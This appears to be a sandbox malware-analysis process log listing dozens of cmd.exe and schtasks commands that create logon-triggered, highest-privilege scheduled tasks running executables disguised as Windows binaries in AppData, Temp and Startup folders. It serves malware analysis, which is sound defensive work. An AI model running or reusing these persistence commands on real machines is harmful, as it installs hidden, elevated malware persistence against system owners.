- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:15664
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_6" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_esentutl_7" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\esentutl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_8" /tr ""C:\ProgramData\MicrosoftService\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_11" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:15444
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_VC_redist.x64_13" /tr ""C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\UpdateCache\VC_redist.x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_16" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_18" /tr ""C:\ProgramData\MicrosoftService\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.WARP.JITService_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\Windows.WARP.JITService.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_22" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_23" /tr ""C:\ProgramData\MicrosoftService\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_26" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netiougc_28" /tr ""C:\ProgramData\MicrosoftService\netiougc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15628
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fsquirt_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\fsquirt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_1" /tr ""C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\UpdateCache\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_8" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6788
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_12" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_13" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_16" /tr ""C:\Users\Admin\AppData\Roaming\UndoSave\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_17" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_18" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.WARP.JITService_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\Windows.WARP.JITService.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_21" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_22" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_23" /tr ""C:\ProgramData\MicrosoftService\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:11684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_26" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_27" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_28" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_30" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\UpdateCache\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_31" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_32" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_32" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_1" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:14780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_1" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5512
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_6" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_unlodctr_7" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_8" /tr ""C:\ProgramData\MicrosoftService\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_8" /tr ""C:\ProgramData\MicrosoftService\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_10" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_11" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_12" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_15" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:10132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_16" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11916
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_17" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12000
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_21" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12012
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msiexec_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\msiexec.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_23" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_25" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_26" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16152
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4812
